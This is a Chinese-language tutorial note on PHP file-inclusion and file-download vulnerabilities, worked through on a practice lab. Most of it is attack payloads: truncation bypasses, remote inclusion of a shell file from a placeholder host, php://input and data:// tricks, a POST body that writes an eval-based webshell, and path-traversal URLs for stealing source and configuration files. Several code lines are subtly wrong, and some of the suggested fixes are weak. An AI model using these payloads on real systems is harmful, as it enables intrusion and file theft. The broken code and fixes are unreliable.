文件操作漏洞
文件被解析,文件包含漏洞
显示源代码,文件读取漏洞
提示文件下载,文件下载漏洞
文件包含漏洞
原理
将文件包含后调用文件的指定代码,例如对象方法的调用,Python 进行import
库后,调用该库的函数
文件包含的各个脚本代码
<! --#include file="1.asp" --> //ASP
<! --#include file="top.aspx" --> //ASP
<c:import url="http://thief.one/1.jsp"> //JSP远程包含
<jsp:include page="head.jsp"/> //JSP本地包含
<%@ include file="head.jsp"%> //PHP
<?php include('test.php')?>
演示
创建php文件
<?php
$filename=$_GET['filename']
include($filename)
?>
创建 txt 文件1.txt
<?php phpinfo(); ?>
访问漏洞地址,等于include(<?php phpinfo(); ?>)
从而运行 php 代码
http://127.0.0.1:8080/include.php?filename=1.txt
文件包含就是将指定文件以脚本代码去执行,可控变量:filename
,漏洞函数:include()
漏洞检测
白盒
代码审计,在代码里发现include()
函数,并找到可以利用的可控变量
黑盒
- 漏洞扫描发现可能存在的漏洞,浏览器查找破解方法
- 观察数据包里可利用的参数,或者功能点可能包含有什么漏洞函数
本地包含
只能访问到本地的文件,攻击木马必须要上传到靶机本地,让靶机进行包含才能运行木马
本地包含限制
<?php
$filename=$_GET['filename']
include($filename.".html") //拼接一个后缀
?>
http://127.0.0.1:8080/include.php?filename=1.txt
让filename=1.txt
=>1.txt.html
找不到文件
绕过方法
%00截断拼接的后缀,php5.3以后不能用
http://127.0.0.1:8080/include.php?filename=1.txt%00
长度截断,因为文件命名有长度上线,可以增长文件名长度超过上限,使后面增加的后缀失效
http://127.0.0.1:8080/include.php?filename=1.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
远程包含
可以包含到远程的数据,可以在攻击服务器上设置木马文件,操控靶机远程包含攻击服务器上的木马文件
http://127.0.0.1:8080/include.php?filename=http://www.xxx.com/getshell.txt
若有限制
<?php
$filename=$_GET['filename']
include($filename.".html") //拼接一个后缀
?>
可以通过后面加?
,``%20,
%23`绕过
http://127.0.0.1:8080/include.php?filename=http://www.xxx.com/getshell.txt%20 http://127.0.0.1:8080/include.php?filename=http://www.xxx.com/getshell.txt%23 http://127.0.0.1:8080/include.php?filename=http://www.xxx.com/getshell.txt?
php 伪协议的使用
1.读取页面的源代码 php://fliter
php://fliter/read=convert.base64-encode/resource=[文件名]
2.执行 php 代码
- 把执行代码写在数据包中 php://input
php://input+[Post 数据]
POST
body:
<?php phpinfo();?>
写入一句话木马,先创建文件再把代码写进去
一般用于文件上传被拦截,可以通过文件包含写入木马
php://input+[Post 数据]
POST
body:
<?php fput(fopen('shell.php','w'),'<?php @eval($_GET[cmd]?>') ?>
有一种玩法,不创造新文件,把木马写到系统日志,然后用 php 包含
- 把执行代码写在 url上
data://text/plain,<?php phpinfo();?>
也可以运行 base64编码后的代码
data://text/plain;base64,JTNDJTNGcGhwJTIwcGhwaW5mbyUyOCUyOSUzQg==?>
漏洞修复
固定后缀
比如
<?php
$filename=$_GET['filename']
include($filename.".html") //拼接一个后缀
?>
固定文件
把包含文件写死,不要传入一个可变参数,给被利用的可乘之机
<?php
include("shell.php")
?>
文件下载漏洞
原理
利用php 的下载方法下载在靶机的文件
1.打开网页的下载连接,以pikachu 靶场为演示
图片地址
http://localhost/vul/unsafedownload/download/ai.png
图片下载地址
http://localhost/vul/unsafedownload/execdownload.php?filename=ai.png
2.发现可变参数 filename
,判断参数 filename
是查找download
下的文件进行下载
3.可以把该页面源代码文件放在 download
下,再用参数filename
指定下载源代码
http://localhost/vul/unsafedownload/download/execdownload.php?filename=execdownload.php
4.但是因为execdownload.php
和 download
是同级,无法下载可通过跳级来改变文件目录
http://localhost/vul/unsafedownload/download/execdownload.php?filename=../execdownload.php
5.可能是浏览器问题不需要download
,在execdownload.php
文件下就可下载
http://localhost/vul/unsafedownload/execdownload.php?filename=../execdownload.php
页面源代码
<?php
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR."inc/function.php";
header("Content-type:text/html;charset=utf-8");
// $file_name="cookie.jpg";
$file_path="download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path=iconv("utf-8","gb2312",$file_path);
//首先要判断给定的文件存在与否
if(!file_exists($file_path)){
skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');
return ;
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
//下载文件需要用到的头
ob_clean();//输出前一定要clean一下,否则图片打不开
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
//向浏览器返回数据
//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
?>
1.通过以上代码发现有inc/function.php
,尝试出 inc
是 根目录下的文件
2.则用 url目录跳转到该目录下即可下载function.php
文件,分析从download
目录跳转到根目录
需要跳三级则
http://localhost/vul/unsafedownload/download/execdownload.php?filename=../../../inc/function.php
http://localhost/vul/unsafedownload/execdownload.php?filename=../../../inc/function.php
下载关键敏感配置文件
1.先知道敏感文件的绝对路径
方法
- 扫描工具爬虫或扫描地址
- 下载好的文件代码中去分析路径和包含文件获取
漏洞检测
1.查看可变参数
read.xxx?filename=
down.xxx?filename=
downfile.xxx?file=
readfile.xxx?file=
../ ..\ ./ .\等
%00 ? %23 %20 等
&readpath=、&filepath=、&path=、&inputfile、&url、&data、&readfile=、&menu、META-INF、WEB-INF
小知识
WEB-INF/web.xml
网站配置文件会体现出 Java 路径所对应的控制类,从而知道该网站都有哪些访问路径
控制类一般在WEB-INF/classes/com
下